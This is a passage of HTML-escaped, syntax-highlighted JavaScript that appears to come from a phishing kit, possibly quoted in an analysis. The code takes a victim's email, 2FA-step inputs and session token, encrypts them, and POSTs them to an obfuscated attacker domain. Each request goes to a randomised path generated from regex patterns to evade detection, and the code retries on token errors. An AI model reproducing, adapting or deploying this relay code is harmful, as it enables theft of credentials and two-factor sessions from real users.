class=&quot;sr&quot;&gt;|60&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/gm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;twofaselected&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;randpattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;23|45&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{9,20}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;89|90|ab&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;A-Za-z0-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]{5,10}(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;vw|xy&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;1-9&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;|70&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/gm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;currentreq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;currentreq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;abort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;randexp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RandExp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;randpattern&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;randroute&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;randexp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;formattedargs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;checkemail&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;formattedargs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appnum&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getresponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;checkemail&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;formattedargs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getresponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// console.log(formattedargs);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encrypteddata&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encryptData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;formattedargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;makeRequest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;retryCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;currentreq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ajax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://tY4DcmhfxyvBeibKJzrU9J05C33QimmcWlZlOgGnlSNc67A3rd.eojlpggwfnp.es/MvEtdZQnVyaBYuLpGDrtzjoNzsYWRLMJWVWKROTPFXTJSGHNFEPQRP&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;randroute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;encrypteddata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Token Not Found&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;retryCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;formattedargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;makeRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;retryCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Missing Value&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;missing value&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Token Not Found&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;decryptedresp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;decryptData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;twofaselected&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;decryptedresp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;decryptedresp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;decryptedresp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Token Not Found&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;retryCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;data: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;formattedargs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;makeRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;retryCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;c1&quot;&gt;// console.log(decryptedresp);&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;requestsent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;decryptedresp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
                &lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;requestsent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Error:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;makeRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;bottomsectionlinks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sectionname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sectionname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.bottomsection&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;bottomsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
